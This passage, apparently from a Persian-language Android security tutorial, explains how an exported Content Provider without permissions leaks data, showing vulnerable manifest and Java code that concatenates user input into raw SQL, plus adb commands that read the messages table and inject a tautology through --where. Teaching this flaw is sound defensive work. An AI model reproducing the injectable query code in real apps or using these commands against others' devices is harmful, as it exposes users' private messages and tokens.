۳. ارائهدهندگان محتوا (Content Providers): نشت دیتابیس
اینها مخازن داده هستند. اگر امنیت آنها درست نباشد، اپلیکیشنهای دیگر میتوانند دیتای خصوصی (پیامها، کانتکتها، توکنها) را بخوانند یا تغییر دهند.
- سناریو حمله (SQL Injection): مهاجم به جای یک نام ساده، یک کوئری SQL مخرب به پرووایدر میفرستد تا تمام جدول کاربران را استخراج کند.
- مثال در مانیفست:
xml
<provider
android:name=".UserDataProvider"
android:authorities="com.app.provider"
android:exported="true"
android:readPermission="null"
android:writePermission="null">
</provider>java
/* تعریف مسیرها */
private static final UriMatcher sUriMatcher = new UriMatcher(UriMatcher.NO_MATCH)
static {
/* اینجا عدد 1 را به مسیر "messages" اختصاص میدهیم */
sUriMatcher.addURI("com.app.provider", "messages", 1)
/* اینجا عدد 2 را به مسیر "profile" اختصاص میدهیم */
sUriMatcher.addURI("com.app.provider", "profile", 2)
}حالا فقط سعی میکنیم تا به messages دسترسی پیدا کنیم!
bash
# در اینجا سعی میکنیم جدول پیامها را بخوانیم #
adb shell content query --uri content://com.app.provider/messagesکد زیر به SQL Injection آسیب پذیر هست.
java
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
SQLiteDatabase db = dbHelper.getReadableDatabase()
int match = sUriMatcher.match(uri)
if (match == 1) { /* مسیر messages */
/* فاجعه اینجاست: استفاده مستقیم از selection در کوئری */
String query = "SELECT * FROM messages WHERE " + selection
return db.rawQuery(query, null)
}
return null
}با سوییچ --where سعی میکنیم Injection انجام دهیم.
bash
# حمله SQL Injection برای استخراج اطلاعات حساس #
adb shell content query --uri content://com.app.provider/messages --where "1=1) OR 1=1 --"